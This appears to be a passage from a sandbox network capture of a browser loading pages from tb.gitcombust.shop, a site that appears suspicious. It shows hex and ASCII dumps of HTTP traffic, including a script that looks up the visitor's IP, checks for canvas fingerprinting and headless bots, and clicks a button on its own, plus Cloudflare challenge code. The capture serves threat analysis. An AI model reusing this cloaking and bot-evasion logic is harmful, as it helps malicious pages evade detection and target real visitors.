#333; }p { font-size: 18px; color: #555; transition: opacity 0.5s ease-in-out; /* Smooth fade-out */}.hidden { opacity: 0; pointer-events: none;}.progress-containe
2025-03-27 17:56:15 UTC	22	IN	Data Raw: 6f 6c 6f 72 3a 20 23 30 30 35 61 39 65 3b 20 0d 0a 7d 0d 0a 0d 0a Data Ascii: olor: #005a9e; }
2025-03-27 17:56:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:56:15 UTC	537	OUT	GET /script.js HTTP/1.1 Host: tb.gitcombust.shop Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://tb.gitcombust.shop/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:56:16 UTC	1094	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 17:56:16 GMT Content-Type: text/javascript Transfer-Encoding: chunked Connection: close CF-Cache-Status: HIT Access-Control-Allow-Origin: * Age: 861 Cache-Control: max-age=14400 ETag: W/"0x8DD5C01758A0144" Last-Modified: Wed, 05 Mar 2025 16:19:09 GMT Vary: Accept-Encoding Content-MD5: cvDrsLNfMUb+2O6loO5pyA== X-Frame-Options: DENY x-ms-request-id: 4a6ada9a-f01e-003b-212c-9fbd44000000 x-ms-version: 2018-03-28 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IS3SsBvTJrytCPC2DjLFe56VIHEcTpZ5sLLbGSF6qIaUVnHHV%2FzU0S6R8VUrU%2F%2F3Ru5ZYFFN3LdHvTxsKK0cWmIm5nWK6fKsxjDyWnEADOTGj6V1jr50cURXkvPkaCtMH3no2Jc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9270c36f3a194f4e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=89842&min_rtt=89786&rtt_var=19028&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2839&recv_bytes=1109&delivery_rate=33974&cwnd=252&unsent_bytes=0&cid=9bdb432fbd48e3f8&ts=677&x=0"
2025-03-27 17:56:16 UTC	275	IN	Data Raw: 66 36 37 0d 0a 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 20 67 65 74 55 73 65 72 49 50 28 29 20 7b 0d 0a 20 20 20 20 74 72 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 72 65 73 70 6f 6e 73 65 20 3d 20 61 77 61 69 74 20 66 65 74 63 68 28 27 68 74 74 70 73 3a 2f 2f 61 70 69 36 34 2e 69 70 69 66 79 2e 6f 72 67 3f 66 6f 72 6d 61 74 3d 6a 73 6f 6e 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 64 61 74 61 20 3d 20 61 77 61 69 74 20 72 65 73 70 6f 6e 73 65 2e 6a 73 6f 6e 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 64 61 74 61 2e 69 70 3b 0d 0a 20 20 20 20 7d 20 63 61 74 63 68 20 28 65 72 72 6f 72 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 27 46 61 69 6c 65 64 20 74 6f 20 67 65 74 20 49 Data Ascii: f67async function getUserIP() { try { const response = await fetch('https://api64.ipify.org?format=json'); const data = await response.json(); return data.ip; } catch (error) { console.error('Failed to get I
2025-03-27 17:56:16 UTC	1369	IN	Data Raw: 20 20 72 65 74 75 72 6e 20 27 30 2e 30 2e 30 2e 30 27 3b 20 2f 2f 20 44 65 66 61 75 6c 74 20 49 50 20 69 6e 20 63 61 73 65 20 6f 66 20 65 72 72 6f 72 0d 0a 20 20 20 20 7d 0d 0a 7d 0d 0a 0d 0a 2f 2f 20 e2 9c 85 20 46 75 6e 63 74 69 6f 6e 20 74 6f 20 44 65 74 65 63 74 20 43 61 6e 76 61 73 20 46 69 6e 67 65 72 70 72 69 6e 74 69 6e 67 0d 0a 66 75 6e 63 74 69 6f 6e 20 69 73 43 61 6e 76 61 73 42 6c 6f 63 6b 65 64 28 29 20 7b 0d 0a 20 20 20 20 74 72 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 63 61 6e 76 61 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 63 74 78 20 3d 20 63 61 6e 76 61 73 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 29 Data Ascii: return '0.0.0.0'; // Default IP in case of error }}// Function to Detect Canvas Fingerprintingfunction isCanvasBlocked() { try { const canvas = document.createElement("canvas"); const ctx = canvas.getContext("2d")
2025-03-27 17:56:16 UTC	1369	IN	Data Raw: 74 20 7c 7c 20 28 69 73 48 65 61 64 6c 65 73 73 20 26 26 20 69 73 53 75 73 70 69 63 69 6f 75 73 45 78 65 63 75 74 69 6f 6e 29 3b 0d 0a 7d 0d 0a 0d 0a 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 20 73 74 61 72 74 4c 6f 61 64 69 6e 67 28 29 20 7b 0d 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 27 2e 70 72 6f 67 72 65 73 73 2d 63 6f 6e 74 61 69 6e 65 72 27 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 27 62 6c 6f 63 6b 27 3b 0d 0a 20 20 20 20 6c 65 74 20 70 72 6f 63 65 73 73 69 6e 67 54 65 78 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 70 72 6f 63 65 73 73 69 6e 67 54 65 78 74 27 29 3b 0d 0a 0d 0a 20 20 20 20 6c 65 74 20 69 73 42 6f 74 20 3d 20 64 65 74 65 63 74 42 6f 74 Data Ascii: t \|\| (isHeadless && isSuspiciousExecution);}async function startLoading() { document.querySelector('.progress-container').style.display = 'block'; let processingText = document.getElementById('processingText'); let isBot = detectBot
2025-03-27 17:56:16 UTC	937	IN	Data Raw: 65 72 28 28 29 20 3d 3e 20 7b 0d 0a 20 20 20 20 20 20 20 20 6c 65 74 20 61 63 63 65 73 73 42 74 6e 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 61 63 63 65 73 73 42 74 6e 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 69 66 20 28 61 63 63 65 73 73 42 74 6e 20 26 26 20 61 63 63 65 73 73 42 74 6e 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 3d 3d 20 27 62 6c 6f 63 6b 27 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 e2 9c 85 20 42 75 74 74 6f 6e 20 64 65 74 65 63 74 65 64 2e 20 43 6c 69 63 6b 69 6e 67 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 2e 2e 2e 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 63 63 65 73 73 42 74 6e 2e 63 6c 69 63 6b 28 29 3b 0d 0a 20 20 20 20 20 20 20 Data Ascii: er(() => { let accessBtn = document.getElementById('accessBtn'); if (accessBtn && accessBtn.style.display === 'block') { console.log(" Button detected. Clicking automatically..."); accessBtn.click();
2025-03-27 17:56:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:56:16 UTC	599	OUT	GET /favicon.ico HTTP/1.1 Host: tb.gitcombust.shop Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://tb.gitcombust.shop/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:56:17 UTC	1041	IN	HTTP/1.1 404 The requested content does not exist. Date: Thu, 27 Mar 2025 17:56:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: MISS Access-Control-Allow-Origin: * Cache-Control: max-age=14400 Vary: Accept-Encoding X-Frame-Options: DENY x-ms-error-code: WebContentNotFound x-ms-request-id: 1387f4e4-d01e-004e-5c41-9fd668000000 x-ms-version: 2018-03-28 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aw%2B99zw1xjGMz5RYHg2pjVCU2anpUKZ5yrsdGQRyhvj3a8yyaG6teTg%2FE8dng3b87EslB8M5%2FbqQ%2BgpxE3QOTdMDJYNV0eN9M3iWHAsw2w7BiLLGIQc%2FitlISoeAD5SdGAWlzwI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9270c374f80b18c4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=88916&min_rtt=88890&rtt_var=18796&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2838&recv_bytes=1171&delivery_rate=34334&cwnd=252&unsent_bytes=0&cid=b4f3f5b40f47b578&ts=647&x=0"
2025-03-27 17:56:17 UTC	328	IN	Data Raw: 31 34 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 57 65 62 43 6f 6e 74 65 6e 74 4e 6f 74 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 6e 74 65 6e 74 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 2e 3c 2f 68 31 3e 3c 70 3e 3c 75 6c 3e 3c 6c 69 3e 48 74 74 70 53 74 61 74 75 73 43 6f 64 65 3a 20 34 30 34 3c 2f 6c 69 3e 3c 6c 69 3e 45 72 72 6f 72 43 6f 64 65 3a 20 57 65 62 43 6f 6e 74 65 6e 74 4e 6f 74 46 6f 75 6e 64 3c 2f 6c 69 3e 3c 6c 69 3e 52 65 71 75 65 73 74 49 64 20 3a 20 31 33 38 37 66 34 65 34 2d 64 30 31 65 2d 30 30 34 65 2d 35 63 34 31 2d 39 66 64 36 36 38 30 30 30 30 30 30 3c 2f 6c 69 3e 3c Data Ascii: 141<!DOCTYPE html><html><head><title>WebContentNotFound</title></head><body><h1>The requested content does not exist.</h1><p><ul><li>HttpStatusCode: 404</li><li>ErrorCode: WebContentNotFound</li><li>RequestId : 1387f4e4-d01e-004e-5c41-9fd668000000</li><
2025-03-27 17:56:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:56:16 UTC	536	OUT	GET /cdn-cgi/challenge-platform/scripts/jsd/main.js HTTP/1.1 Host: tb.gitcombust.shop Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:56:16 UTC	919	IN	HTTP/1.1 302 Found Date: Thu, 27 Mar 2025 17:56:16 GMT Content-Length: 0 Connection: close location: /cdn-cgi/challenge-platform/h/b/scripts/jsd/708f7a809116/main.js? cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=10800, public access-control-allow-origin: * Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8f8VWjaj9uHWPaOh28hxANdq9C%2FD3OsTWmYvMUwKyysJLbzjCtC8s6%2F0zSZoJwiHYr01nOtsLBMHDx30wjzqz4m8ebW9iepMlgr7mGhoIk59%2BwZ7KPW9SLu891w6s0kreRUUmoE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9270c3753b0fa0fb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=89531&min_rtt=89521&rtt_var=18900&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2840&recv_bytes=1108&delivery_rate=34132&cwnd=252&unsent_bytes=0&cid=6de5a63c82fd3eec&ts=232&x=0"

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:56:17 UTC	554	OUT	GET /cdn-cgi/challenge-platform/h/b/scripts/jsd/708f7a809116/main.js? HTTP/1.1 Host: tb.gitcombust.shop Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:56:17 UTC	894	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 17:56:17 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 8441 Connection: close Cf-Ray: 9270c377decc41f9-EWR Server: cloudflare Cache-Control: max-age=14400, stale-if-error=10800, stale-while-revalidate=10800, public X-Content-Type-Options: nosniff Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bi05G1E%2Fjs1PtxCxh5z2nXn1ArCjLDb3y7COO1FQJVjaOfhiTM9CRIOnypCSgW4ki2SlQ6zFu4l3lUwBxNokTheuwFpv0FgpyAlfAMp7lQif7NPjSGFKvttkGrClRrXGaSZiMWc%3D"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=89056&min_rtt=88866&rtt_var=19039&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2839&recv_bytes=1126&delivery_rate=34152&cwnd=252&unsent_bytes=0&cid=12330840341893f7&ts=259&x=0"
2025-03-27 17:56:17 UTC	475	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 3d 7b 63 46 50 57 76 3a 27 62 27 7d 3b 7e 66 75 6e 63 74 69 6f 6e 28 57 2c 68 2c 69 2c 6e 2c 6f 2c 73 2c 7a 2c 41 29 7b 57 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 56 2c 65 2c 66 29 7b 66 6f 72 28 56 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 70 61 72 73 65 49 6e 74 28 56 28 32 30 31 29 29 2f 31 2b 2d 70 61 72 73 65 49 6e 74 28 56 28 32 32 38 29 29 2f 32 2b 70 61 72 73 65 49 6e 74 28 56 28 32 30 38 29 29 2f 33 2b 2d 70 61 72 73 65 49 6e 74 28 56 28 31 39 33 29 29 2f 34 2a 28 2d 70 61 72 73 65 49 6e 74 28 56 28 32 30 32 29 29 2f 35 29 2b 2d 70 61 72 73 65 49 6e 74 28 56 28 32 32 34 29 29 2f 36 2b 2d 70 61 72 73 65 49 6e 74 28 56 28 32 34 35 29 29 2f 37 2a 28 70 61 72 Data Ascii: window._cf_chl_opt={cFPWv:'b'};~function(W,h,i,n,o,s,z,A){W=b,function(c,d,V,e,f){for(V=b,e=c();!![];)try{if(f=parseInt(V(201))/1+-parseInt(V(228))/2+parseInt(V(208))/3+-parseInt(V(193))/4(-parseInt(V(202))/5)+-parseInt(V(224))/6+-parseInt(V(245))/7(par
2025-03-27 17:56:17 UTC	1369	IN	Data Raw: 74 69 6f 6e 28 45 29 7b 72 65 74 75 72 6e 20 45 3d 3d 6e 75 6c 6c 3f 27 27 3a 65 2e 67 28 45 2c 36 2c 66 75 6e 63 74 69 6f 6e 28 46 2c 61 35 29 7b 72 65 74 75 72 6e 20 61 35 3d 62 2c 61 35 28 31 36 39 29 5b 61 35 28 31 37 32 29 5d 28 46 29 7d 29 7d 2c 27 67 27 3a 66 75 6e 63 74 69 6f 6e 28 45 2c 46 2c 47 2c 61 36 2c 48 2c 49 2c 4a 2c 4b 2c 4c 2c 4d 2c 4e 2c 4f 2c 50 2c 51 2c 52 2c 53 2c 54 2c 55 29 7b 69 66 28 61 36 3d 61 34 2c 45 3d 3d 6e 75 6c 6c 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 49 3d 7b 7d 2c 4a 3d 7b 7d 2c 4b 3d 27 27 2c 4c 3d 32 2c 4d 3d 33 2c 4e 3d 32 2c 4f 3d 5b 5d 2c 50 3d 30 2c 51 3d 30 2c 52 3d 30 3b 52 3c 45 5b 61 36 28 31 38 38 29 5d 3b 52 2b 3d 31 29 69 66 28 53 3d 45 5b 61 36 28 31 37 32 29 5d 28 52 29 2c 4f 62 6a 65 63 74 5b 61 36 Data Ascii: tion(E){return E==null?'':e.g(E,6,function(F,a5){return a5=b,a5(169)[a5(172)](F)})},'g':function(E,F,G,a6,H,I,J,K,L,M,N,O,P,Q,R,S,T,U){if(a6=a4,E==null)return'';for(I={},J={},K='',L=2,M=3,N=2,O=[],P=0,Q=0,R=0;R<E[a6(188)];R+=1)if(S=E[a6(172)](R),Object[a6
2025-03-27 17:56:17 UTC	1369	IN	Data Raw: 29 2c 4e 2b 2b 29 2c 64 65 6c 65 74 65 20 4a 5b 4b 5d 7d 65 6c 73 65 20 66 6f 72 28 55 3d 49 5b 4b 5d 2c 48 3d 30 3b 48 3c 4e 3b 50 3d 50 3c 3c 31 7c 55 26 31 2e 30 35 2c 51 3d 3d 46 2d 31 3f 28 51 3d 30 2c 4f 5b 61 36 28 31 38 35 29 5d 28 47 28 50 29 29 2c 50 3d 30 29 3a 51 2b 2b 2c 55 3e 3e 3d 31 2c 48 2b 2b 29 3b 4c 2d 2d 2c 4c 3d 3d 30 26 26 4e 2b 2b 7d 66 6f 72 28 55 3d 32 2c 48 3d 30 3b 48 3c 4e 3b 50 3d 50 3c 3c 31 7c 55 26 31 2e 33 33 2c 46 2d 31 3d 3d 51 3f 28 51 3d 30 2c 4f 5b 61 36 28 31 38 35 29 5d 28 47 28 50 29 29 2c 50 3d 30 29 3a 51 2b 2b 2c 55 3e 3e 3d 31 2c 48 2b 2b 29 3b 66 6f 72 28 3b 3b 29 69 66 28 50 3c 3c 3d 31 2c 51 3d 3d 46 2d 31 29 7b 4f 5b 61 36 28 31 38 35 29 5d 28 47 28 50 29 29 3b 62 72 65 61 6b 7d 65 6c 73 65 20 51 2b 2b 3b Data Ascii: ),N++),delete J[K]}else for(U=I[K],H=0;H<N;P=P<<1\|U&1.05,Q==F-1?(Q=0,O[a6(185)](G(P)),P=0):Q++,U>>=1,H++);L--,L==0&&N++}for(U=2,H=0;H<N;P=P<<1\|U&1.33,F-1==Q?(Q=0,O[a6(185)](G(P)),P=0):Q++,U>>=1,H++);for(;;)if(P<<=1,Q==F-1){O[a6(185)](G(P));break}else Q++;
2025-03-27 17:56:17 UTC	1369	IN	Data Raw: 39 28 31 37 32 29 5d 28 30 29 3b 65 6c 73 65 20 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 4c 5b 61 39 28 31 38 35 29 5d 28 55 29 2c 48 5b 4a 2b 2b 5d 3d 4d 2b 55 5b 61 39 28 31 37 32 29 5d 28 30 29 2c 49 2d 2d 2c 4d 3d 55 2c 30 3d 3d 49 26 26 28 49 3d 4d 61 74 68 5b 61 39 28 31 36 31 29 5d 28 32 2c 4b 29 2c 4b 2b 2b 29 7d 7d 7d 2c 66 3d 7b 7d 2c 66 5b 61 34 28 31 36 35 29 5d 3d 65 2e 68 2c 66 7d 28 29 2c 6f 3d 7b 7d 2c 6f 5b 57 28 32 30 34 29 5d 3d 27 6f 27 2c 6f 5b 57 28 32 33 34 29 5d 3d 27 73 27 2c 6f 5b 57 28 32 36 33 29 5d 3d 27 75 27 2c 6f 5b 57 28 32 31 37 29 5d 3d 27 7a 27 2c 6f 5b 57 28 32 30 39 29 5d 3d 27 6e 27 2c 6f 5b 57 28 32 31 38 29 5d 3d 27 49 27 2c 6f 5b 57 28 31 39 32 29 5d 3d 27 62 27 2c 73 3d 6f 2c 68 5b 57 28 31 39 35 29 5d 3d 66 75 6e 63 Data Ascii: 9(172)](0);else return null;L[a9(185)](U),H[J++]=M+U[a9(172)](0),I--,M=U,0==I&&(I=Math[a9(161)](2,K),K++)}}},f={},f[a4(165)]=e.h,f}(),o={},o[W(204)]='o',o[W(234)]='s',o[W(263)]='u',o[W(217)]='z',o[W(209)]='n',o[W(218)]='I',o[W(192)]='b',s=o,h[W(195)]=func
2025-03-27 17:56:17 UTC	1369	IN	Data Raw: 3d 45 2c 47 5b 61 6c 28 32 34 32 29 5d 3d 65 2e 72 2c 47 5b 61 6c 28 31 37 35 29 5d 3d 61 6c 28 31 37 31 29 2c 47 5b 61 6c 28 32 30 35 29 5d 3d 66 2c 68 5b 61 6c 28 31 38 33 29 5d 5b 61 6c 28 32 34 34 29 5d 28 47 2c 27 2a 27 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 43 28 61 69 2c 63 2c 64 2c 65 2c 66 2c 45 29 7b 69 66 28 61 69 3d 57 2c 63 3d 68 5b 61 69 28 31 38 36 29 5d 2c 21 63 29 72 65 74 75 72 6e 3b 69 66 28 21 6b 28 29 29 72 65 74 75 72 6e 3b 28 64 3d 21 5b 5d 2c 65 3d 63 5b 61 69 28 31 37 39 29 5d 3d 3d 3d 21 21 5b 5d 2c 66 3d 66 75 6e 63 74 69 6f 6e 28 61 6a 2c 46 29 7b 28 61 6a 3d 61 69 2c 21 64 29 26 26 28 64 3d 21 21 5b 5d 2c 46 3d 42 28 29 2c 6c 28 46 2e 72 2c 66 75 6e 63 74 69 6f 6e 28 47 29 7b 44 28 63 2c 47 29 7d 29 2c 46 2e 65 26 26 6d 28 61 Data Ascii: =E,G[al(242)]=e.r,G[al(175)]=al(171),G[al(205)]=f,h[al(183)][al(244)](G,'*')))}function C(ai,c,d,e,f,E){if(ai=W,c=h[ai(186)],!c)return;if(!k())return;(d=![],e=c[ai(179)]===!![],f=function(aj,F){(aj=ai,!d)&&(d=!![],F=B(),l(F.r,function(G){D(c,G)}),F.e&&m(a
2025-03-27 17:56:17 UTC	1369	IN	Data Raw: 6d 61 74 69 6f 6e 2c 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 2c 62 6f 64 79 2c 68 74 74 70 2d 63 6f 64 65 3a 2c 5f 63 66 5f 63 68 6c 5f 6f 70 74 2c 70 6f 77 2c 63 46 50 57 76 2c 73 75 63 63 65 73 73 2c 6c 6f 61 64 69 6e 67 2c 62 68 75 43 44 6b 4e 2c 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 2c 6f 6e 74 69 6d 65 6f 75 74 2c 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 68 2f 2c 37 54 6b 79 35 47 72 70 76 68 43 4a 6d 36 71 6f 4b 32 34 4d 69 52 56 59 46 31 42 61 55 2b 44 66 65 67 6c 64 4e 58 75 5a 24 57 6e 73 62 39 7a 63 6a 77 49 2d 74 50 33 4f 4c 38 30 48 41 78 51 45 53 2c 66 72 6f 6d 43 68 61 72 43 6f 64 65 2c 65 72 72 6f 72 2c 63 68 61 72 41 74 2c 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 2c 63 6f 6e 63 Data Ascii: mation,DOMContentLoaded,body,http-code:,_cf_chl_opt,pow,cFPWv,success,loading,bhuCDkN,getPrototypeOf,ontimeout,/cdn-cgi/challenge-platform/h/,7Tky5GrpvhCJm6qoK24MiRVYF1BaU+DfegldNXuZ$Wnsb9zcjwI-tP3OL80HAxQES,fromCharCode,error,charAt,addEventListener,conc
2025-03-27 17:56:17 UTC	103	IN	Data Raw: 7d 2c 4c 5b 61 33 28 31 38 32 29 5d 3d 68 5b 61 33 28 31 36 30 29 5d 5b 61 33 28 31 38 32 29 5d 2c 4c 5b 61 33 28 32 32 37 29 5d 3d 68 5b 61 33 28 31 36 30 29 5d 5b 61 33 28 32 32 37 29 5d 2c 4c 5b 61 33 28 32 34 31 29 5d 3d 68 5b 61 33 28 31 36 30 29 5d 5b 61 33 28 32 34 31 29 5d 2c 4c 5b 61 33 28 32 32 32 Data Ascii: },L[a3(182)]=h[a3(160)][a3(182)],L[a3(227)]=h[a3(160)][a3(227)],L[a3(241)]=h[a3(160)][a3(241)],L[a3(222
2025-03-27 17:56:17 UTC	1018	IN	Data Raw: 29 5d 3d 68 5b 61 33 28 31 36 30 29 5d 5b 61 33 28 31 37 36 29 5d 2c 4d 3d 4c 2c 4e 3d 7b 7d 2c 4e 5b 61 33 28 32 33 33 29 5d 3d 48 2c 4e 5b 61 33 28 32 32 39 29 5d 3d 4d 2c 4e 5b 61 33 28 32 34 39 29 5d 3d 61 33 28 32 33 35 29 2c 4b 5b 61 33 28 31 39 38 29 5d 28 6e 5b 61 33 28 31 36 35 29 5d 28 4a 53 4f 4e 5b 61 33 28 32 33 36 29 5d 28 4e 29 29 29 7d 63 61 74 63 68 28 4f 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 63 2c 64 2c 5a 2c 65 2c 66 29 7b 5a 3d 57 2c 65 3d 68 5b 5a 28 31 38 36 29 5d 2c 66 3d 6e 65 77 20 68 5b 28 5a 28 31 35 33 29 29 5d 28 29 2c 66 5b 5a 28 32 31 34 29 5d 28 5a 28 31 39 37 29 2c 5a 28 31 36 38 29 2b 68 5b 5a 28 31 36 30 29 5d 5b 5a 28 31 36 32 29 5d 2b 5a 28 32 31 35 29 2b 65 2e 72 29 2c 65 5b 5a 28 31 37 39 29 5d 26 26 28 66 5b Data Ascii: )]=h[a3(160)][a3(176)],M=L,N={},N[a3(233)]=H,N[a3(229)]=M,N[a3(249)]=a3(235),K[a3(198)](n[a3(165)](JSON[a3(236)](N)))}catch(O){}}function l(c,d,Z,e,f){Z=W,e=h[Z(186)],f=new h[(Z(153))](),f[Z(214)](Z(197),Z(168)+h[Z(160)][Z(162)]+Z(215)+e.r),e[Z(179)]&&(f[

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:56:17 UTC	553	OUT	OPTIONS /report/v4?s=aw%2B99zw1xjGMz5RYHg2pjVCU2anpUKZ5yrsdGQRyhvj3a8yyaG6teTg%2FE8dng3b87EslB8M5%2FbqQ%2BgpxE3QOTdMDJYNV0eN9M3iWHAsw2w7BiLLGIQc%2FitlISoeAD5SdGAWlzwI%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://tb.gitcombust.shop Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:56:17 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Thu, 27 Mar 2025 17:56:17 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
